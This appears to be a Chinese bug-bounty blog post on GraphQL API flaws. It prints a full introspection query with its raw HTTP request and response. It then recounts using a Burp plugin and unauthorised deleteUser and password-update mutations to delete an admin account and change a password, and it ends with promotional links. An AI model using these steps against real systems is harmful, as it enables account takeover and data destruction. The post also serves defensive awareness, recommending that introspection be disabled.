GraphQL中api漏洞
GraphQL中api漏洞
Kamol 迪哥讲事 2023-08-27 23:29
正文
通常graphql接口位于类似 www.example.com/graphql 的地方
这里的接口如下所示:(其实这种情况在国外的网站经常会看到)
首先,检查一下目标是否启用了自省模式(可以参考以前本公众号中的文章: 漏洞赏金猎人笔记-GraphQL-IV
),如果在GraphQL中启用了自省,则允许客户端查询并检索关于GraphQL API中可用类型、字段和指令的详细信息
这里发送内省查询:
query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
请求如下:
POST /graphql HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Host: xxxxxxx.com
Content-Length: 746
Content-Type: application/json
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
响应如下:
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 22 Jun 2023 09:37:18 GMT
Content-Type: application/json
Connection: close
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
Vary: Origin
Content-Length: 367316
{"data":{"__schema":{"queryType":{"name":"Query"},"mutationType":{"name":"Mutation"},[REDACTED]"description":"Explains why this element was deprecated, usually also including a suggestion for how to access supported similar data. Formatted using the Markdown syntax (as specified by [CommonMark](https:\/\/commonmark.org\/).","type":{"kind":"SCALAR","name":"String","ofType":null},"defaultValue":"\"No longer supported\""}]}]}}}]
也可以使用插件InQL(bp中插件)
将GraphQL接口粘贴到这里,然后点击加载。
一会将列出模式上可用的所有突变和查询。
上面两个操作可能存在脆弱点
首先测试deleteUser突变。但需要一个用户id。这里使用user查询来查找用户的id。
这里来尝试一下删除这个admin账户
没有起到作用,尝试打开一个用户帐户,并再次尝试同样的事情。
这次没有出现任何误差。来验证一下有效载荷是否有效。
再次对id -> 2运行用户查询。
admin(管理员账户)被删除了!
更新一下操作
发现起作用了,用户密码更新了。
在GraphQL中启用内省可以提供有价值的开发和调试功能,但会在生产环境中引入安全风险和潜在的资源问题。这里建议关闭该模式。
如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券
),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
福利视频
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流
技术交流请加笔者微信:richardo1o1 (暗号:growing)